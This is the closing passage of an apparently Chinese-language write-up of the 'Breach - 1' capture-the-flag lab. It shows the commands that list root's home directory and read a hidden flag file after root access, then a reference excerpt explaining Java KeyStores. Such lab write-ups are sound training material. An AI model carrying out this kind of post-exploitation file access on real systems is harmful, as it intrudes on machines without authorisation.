如上查看 root 主目錄，只有一個 flair.jpg，難道這是一個沒有 flag 的靶場嘛 ？其實并不是，只是 flag 被隱藏了而已：

ls -al /root

都到這了，看看 .flag.txt 里的內容吧：

cat /root/.flag.txt

0x03：Breach - 1 參考資料

KeyStore是什么-CSDN博客文章瀏覽閱讀1.4w次，點贊13次，收藏45次。簡述What is the purpose of keystoreKeyStore是一個存儲庫，可用于存儲一系列密鑰（Secret Key）、密鑰對（Key Pair）或證書（Certificate）。密鑰：只有一個鑰，一般是對稱加密時使用。密鑰對：包含公鑰（Public Key）和私鑰（Private Key），一般是非對稱加密時使用。KeyStore可以設置密碼。密鑰、密鑰對、證書在KeyStore統稱為Key，每一個Key通過alias（別名）區分。Key也可以設置密碼。JKS（J_keystorehttps://blog.csdn.net/qq_31772441/article/details/119525532